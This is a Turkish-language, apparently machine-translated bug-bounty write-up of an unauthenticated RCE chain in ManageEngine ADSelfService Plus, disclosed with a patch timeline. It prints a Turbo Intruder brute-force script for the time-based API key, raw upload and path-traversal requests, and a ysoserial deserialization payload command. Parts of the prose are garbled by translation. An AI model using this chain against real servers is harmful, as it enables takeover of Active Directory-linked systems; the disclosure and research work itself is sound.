Geçen Mayıs ayında, bu yılın başlarında bildirdiğim kritik bir güvenlik açığının ilk CVE’mle sonuçlandığını keşfettim. Bu kimlik doğrulanmamış uzaktan kod yürütülmesine (RCE) yol açan güvenlik açıklarının birleşimi keşfetmek oldukça eğlenceli olduğundan, Brute Force’un iki kuruluşun aktif direktifi bağlantılı sistemlerine hacklememi nasıl sağladığı hakkındaki hikayeyi paylaşmak istiyorum.
https://twitter.com/honoki/status/125812226598963781?s=20
Hedef
Aquatone ile bazı rutin görsel keşifler yaparken, ilgisiz hata ödül programlarından iki farklı alt alanda benzer görünümlü bir giriş sayfası fark ettim.

Bu giriş ekranının arkasındaki yazılım, kullanıcıların kendi Active Directory (AD) hesaplarının şifresini sıfırlamasına izin veren bir portal sunan Zoho ManageEngine AdSelfService Plus’tır. (Büyük bir organizasyonda çalışan herkes bunun neden yararlı bir şey gibi geldiğini anlayacaktır.)
Bu üründe bulacağım herhangi bir hatanın potansiyel olarak birden fazla şirketi etkileyebileceğini ve daha fazlasını etkileyebileceğini düşündüğüm için, bunun kuruluşun Active Directory ile bağlantılı olması muhtemel görünüyordu, burada biraz zaman geçirmek iyi bir fikir gibi görünüyordu.
İlk çabalarım, görünüşe göre zaten diğer araştırmacılar tarafından tanımlanmış olan birkaç temel yansıyan siteler arası senaryo (XSS) güvenlik açıklarını keşfetmeye yol açtı. Bu yüzden biraz daha derine inmek zorunda kaldım. Neyse ki, tüm ürünün 30 gün boyunca deneme olarak indirilip kurulabileceği ortaya çıktı.
Kurulum
Muhtemelen daha fazla XSS güvenlik açığı olacağına ikna olduğum için, daha fazla hata arayan Java kaynak koduna göz atma fikriyle yazılımı indirmeye ve yüklemeye karar verdim.
Yazılımı yükledikten sonra, tüm testleri yerel olarak yürütme ve uygulamada tam olarak ne olduğunu anlamak için kaynak kodu okuma ve hatta kullanma avantajım vardı. grep
Potansiyel olarak ilginç dosyalar bulmak için yükleme klasöründe.

Bazı ilginç keşifler olmadan bazı Java kaynak dosyalarına manuel olarak göz atmaya başladım. Ancak, yazılım bileşenlerini ve nasıl birlikte çalıştıklarını anladım. Bu, uygulamalarda karmaşık hatalar ararken çok değerli olma eğilimindedir, bu yüzden kesinlikle birkaç saat geçirmeye değer. Sonuç olarak, uygulama özelliklerinin oldukça iyi bir resmine sahiptim, uygulamanın çoğunlukla eski koddan oluşan kısımları, daha yeni görünen parçalar, önceki güvenlik açıklarını düzeltmek için değiştirilmiş parçalar vb.
Bir noktada, umarım iki amaca hizmet edebilecek uygulama uç noktalarının bir kelime listesi oluşturmaya karar verdim: bazı “klasik” güvenlik testlerini doğrudan uç noktaya karşı yapmak ve gelecekte bir noktada benzer uygulamaları hedeflerken yararlı bir kaynak olarak hizmet etmek.
Hatalar
1. Java’da güvensiz serileştirme
Uygulamanın uç noktalarını numaralandırmam sırasında, aşağıdaki satırları gördüm. web.xml
Dosyalar:
CewolfServlet /cewolf/*
Bunu araştırdığımda, bir yayınlanmış bir RCE buldum cewolf
başka bir managine ürünündeki uç nokta, img
Parametre – Bu çok umut verici görünüyordu!
Tabii ki, yerel kurulumumdaki bir klasöre bir dosyayı manuel olarak yerleştirdikten sonra, Sesserializasyon Güvenlik Açığı’nın da ADEFService Plus’ın bu sürümünde de var olduğunu doğrulayabilirim. http://localhost:8888/cewolf/?img=/../../../path/to/evil.file
Bu, hedeflenen sitelerde kullanıma hazır bir Java Desarizasyon kırılganlığına sahip olduğum anlamına geliyordu, ancak yalnızca önce sunucuya keyfi dosyalar yüklemenin bir yolunu bulursam bundan yararlanabileceğim anlamına geliyordu. Yani iş henüz bitmedi.
2. Rasgele Dosya Yükleme
Rasgele bir dosya yükleme güvenlik açığı bulmak kolay bir zorluk gibi görünmüyordu. Saldırı yüzeyimi en üst düzeye çıkarmak için, yazılımı makinemde yapılandırmaya devam ettim, bu da yerel bir etki alanı denetleyicisi ve bir Active Directory etki alanı kurmayı gerektiriyordu.
HDDS, VMware Workstation Shenanigans, Microsoft Windows Server Yönetimi ve YouTube videolarını “Windows Server 2019 Etki Alan Denetleyicisi Nasıl Kurulur” gibi başlıklarla izleyen saatlerce ISO’ları indirmek için hızlı ilerleyin ve nihayet yönetici panelinde giriş yapmamı sağlayan bir kurulum vardı.

Uygulamaya tam yönetici erişimi ile, artık uygulama özelliklerini ve API uç noktalarını daha fazla haritalayabilirim. Açık nedenlerden dolayı, bir SmartCard Sertifikası yapılandırmasını yüklemeyi destekleyen bir özelliğe rastlayana kadar, zamanımın çoğunu uygulamadaki tüm farklı yükleme özelliklerini araştırarak geçirdim, bu da bir sonrası isteği ile sonuçlandım. /LogonCustomization.do?form=smartCard&operation=Add
Yüklenen sertifika dosyasının adını değiştirmeden sunucunun dosya sisteminde depolandığını fark ettiğimde, bunun seansizasyon hatasından yararlanmanın bir yolu olabileceğini düşündüm! Bu yüzden bu API çağrısını, buna saldırmanın olası yolları hakkında daha fazla bilgi edinmek için kaynak kodunu izledim.
Yüksek seviyede, bu böyle çalıştı:

- Günlüğe kaydedilmiş bir yönetici, bir akıllı kart yapılandırması yükleyebilir
/LogonCustomization.do?form=smartCard&operation=Add
; - Bu, sunucunun kimlik doğrulamalı retappi için bir arka uç isteğini tetikler.
/RestAPI/WC/SmartCard?HANDSHAKE_KEY=secret
sunucu tarafında oluşturulan gizli bir el sıkışma kullanma; - Talep edilen eylemi yürütmeden önce,
HANDSHAKE_KEY
ikinci bir API uç noktasına göre doğrulanır/servlet/HSKeyAuthenticator?PRODUCT_NAME=ManageEngine+ADSelfService+Plus&HANDSHAKE_KEY=secret
hangi dönerSUCCESS
veyaFAILED
Geçmişe bağlı olaraksecret
; - Başarılı olursa, yüklenen sertifika yazılır
C:\ManageEngine\ADSelfService Plus\bin
İlginç bir şekilde, /RestAPI
Son noktaya herkese açık olarak erişilebilirdi, bu nedenle geçerli bir istek HANDSHAKE_KEY
kullanıcı kimlik doğrulamasını atlar ve sunucu tarafından işlenir.
Dahası, /servlet/HSKeyAuthenticator
ayrıca kamuya açık bir şekilde erişilebilirdi, yetkisiz bir kullanıcının bir kimlik doğrulama sırının geçerli olup olmadığını manuel olarak doğrulamasına izin verdi.
Bunu göz önünde bulundurarak, şimdi tanıdık kaynak koduna döndüm.
3. Brutorforleable Kimlik Doğrulama Anahtarı
Biraz yardım alarak iki ilginç Java dersi belirledim grep
ve API uç noktalarının yararlı bir envanteri ve bunların kimlik doğrulama ihtiyaçlarını içeren kurulumum PostgreSQL veritabanından:

Bir snippet HSKeyAuthenticator.class
içinde com.manageengine.ads.fw.servlet
:
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { String message = "FAILED"; RestAPIKey.getInstance(); String apiKey = RestAPIKey.getKey(); String handShakeKey = request.getParameter("HANDSHAKE_KEY"); if (handShakeKey.equals(apiKey)) { message = "SUCCESS"; } PrintWriter out = response.getWriter(); response.setContentType("text/html"); out.println(message); out.close(); } catch (Exception var7) { HSKeyAuthenticator.out.log(Level.INFO, " ", var7); } }
Ve bir RestAPIKey.class
içinde package com.manageengine.ads.fw.api
:
public static void generateKey() { Long cT = Long.valueOf(System.currentTimeMillis()); key = cT.toString(); generatedTime = cT; } public static String getKey() { Long cT = Long.valueOf(System.currentTimeMillis()); if ((key == null) || (generatedTime.longValue() + 120000L < cT.longValue())) { generateKey(); } return key; }
Bu kod parçalarından görebileceğiniz gibi, sunucunun API kimlik doğrulama anahtarı milisaniye cinsinden geçerli saate ayarlanmıştır ve 2 dakikalık bir ömre sahiptir. Bu, herhangi bir anda 120.000 olası kimlik doğrulama anahtarının (120 saniye * 1000 milisaniye/saniye) olduğu anlamına gelir.
Başka bir deyişle, 2 dakikalık bir zaman aralığı boyunca tutarlı bir şekilde saniyede en az 1000 istek oluşturabilseydim, kimlik doğrulama anahtarının süresi dolduğu ve yeniden üretildiği anda garantili bir vuruş yapardım. Bu, ağ düzeyinde bir saldırı için çok sayıda gibi görünse de, başarılı bir saldırı mutlaka olasılık alanının ötesinde değildir. Özellikle% 100'den daha düşük bir başarı oranında bile ve yeterli zaman verildiğinde, başarılı bir isabetin gittikçe daha olası hale geldiğini akılda tutarak.
Uygulamada, yerel örneğimin sırrını birkaç dakika içinde zorlayacak bir çalışma kavram kanıtı vardı.

Ancak, komut dosyasını canlı bir hedefe karşı kullanırken (yani bir gerçek İnternet bağlantısı), o kadar şanslı değildim. Komut dosyasını saatlerce farklı konfigürasyonlar ve ayarlarla ve bir gecede sonuçsuz bir şekilde çalıştırdım ve yeniden canlandırdım ve yaklaşımımın terk edilmesi gerekecekti.
Dahası, geçici olarak kaldırıldım çünkü hedef sunucularımın hangi saat diliminde çalıştığından emin değildim. currentTimeMillis
Görünüşe göre koordineli evrensel zaman (UTC) zamanında zaman döndürüyor ve rahatsız olmaya gerek yok.
Sonunda, daha fazla deneme yanılma sonrasında, saniye başına gerçek isteklere dayanarak aşağıdaki turbo davetsiz misafir senaryosuna indim (RPS), her birini kullanarak kimlik doğrulamaya çalıştı RPS/2 Mevcut zaman damgasından önce ve sonra milisaniye. Bu makul bir kapsama alanı ve en aza indirilmiş potansiyel kör noktalar sağladı:
import time def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=20, requestsPerConnection=200, pipeline=True, timeout=2, engine=Engine.THREADED ) engine.start() rps = 400 # this is about the number of requests per second I could generate from my test server, so not quite the ideal 1000 per second while True: now = int(round(time.time()*1000)) for i in range(now+(rps/2), now-(rps/2), -1): engine.queue(target.req, str(i)) def handleResponse(req, interesting): if 'SUCCESS' in req.response: table.add(req)
Ve HTTP isteğini bir dosyaya taşımak base.txt
Saldırıyı başsız bir turbo davetsiz misafirle hazırlamak için:
POST /servlet/HSKeyAuthenticator?PRODUCT_NAME=ManageEngine+ADSelfService+Plus&HANDSHAKE_KEY=%s HTTP/1.1 Host: localhost:8888 Content-Length: 0 Connection: keep-alive .
Şimdi ihtiyacım olan tek şey biraz sabır ve büyük şanslardı.

Wham! Teori gerçekleştiğinde seviyorum. Beklendiği gibi ve şüphelerime rağmen, kimlik doğrulama anahtarı bir çok daha düşük Verim Saniyede ideal 1000 istekten daha fazla (canlı hedefin ekran görüntüsünün ortalama 56 RP'ye ulaştığını unutmayın)!
İstismar
Şimdi, tüm malzemeler hazır olduğunda, son istismar önemsizdi.
Ysoserial firalizasyon çerçevesi ile bir grup Java yükü ürettim ve aşağıdakilerin çalıştığını öğrendim:
java -jar ysoserial-master-SNAPSHOT.jar MozillaRhino1 "ping ping-rce-MozillaRhino1."
Daha sonra, kimlik doğrulama anahtarını komut dosyamla yukarıdan zorladım ve YSoserial yükü kimlik doğrulamalı retappi ile sunucuya yüklemek için kullandım:
POST /RestAPI/WC/SmartCard?mTCall=addSmartCardConfig&PRODUCT_NAME=ManageEngine+ADSelfService+Plus&HANDSHAKE_KEY=1585552472158 HTTP/1.1 Host: localhost:888 Content-Length: 2464 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxkQ2P09dvbuV1Pi4 Connection: close ------WebKitFormBoundaryxkQ2P09dvbuV1Pi4 Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="pieter.evil" Content-Type: text/xml------WebKitFormBoundaryxkQ2P09dvbuV1Pi4 Content-Disposition: form-data; name="CERTIFICATE_NAME" blah ------WebKitFormBoundaryxkQ2P09dvbuV1Pi4 Content-Disposition: form-data; name="SMARTCARD_CONFIG" {"SMARTCARD_PRODUCT_LIST":"4"} ------WebKitFormBoundaryxkQ2P09dvbuV1Pi4--
Ve işleri bitirmek için basit bir GET isteği verdim /cewolf/?img=/../../../bin/pieter.evil
Ve dünyanın en güzel bildirimini gördü:

Sonuç
AD bağlantılı bir sunucuda RCE'ye yol açan bir güvenlik açıkları zinciriyle donanmış olarak, bir saldırganın etki alanı hesapları ile bağlantıyı kötüye kullanabileceğini veya reklam alanında yeni hesaplar oluşturmak için şirketlerin dahili ağlarına çok daha geniş erişime yol açabileceğini iddia ettim.
Her iki şirket için, biri kritik olarak ödüllendirilen, diğeri mevcut bir yama (0 gün) olmadan bir satıcı güvenlik sorunu olması nedeniyle yüksek olarak kategorize edilen güvenlik açığı raporlarını sundum.


Zaman çizelgesi
- 26/Mar/2020 - Yazılımın yerel bir sürümünü yükledi;
- 30/Mar/2020 - RCE zincirini şirkete bildirdi;
- 31/Mar/2020 - RCE zincirini iki şirkete bildirdi;
- 2/APR/2020-Güvenlik açığı bilgilerini Zoho'nun şirket içi böcek ödül programına gönderdi;
- 3/APR/2020 - Zoho, web sitelerinde bir güvenlik güncellemesi yayınladı ve 5815 sürümünde bir yama itti;
- 3/APR/2020 - İkinci Şirket, kritik olarak bir ödül verdi ve kurulumlarını yamaladı;
- 12/Nis/2020 - Şirket One, yüksek bir ödül verdi ve kurulumlarına halkın erişimini kaldırdı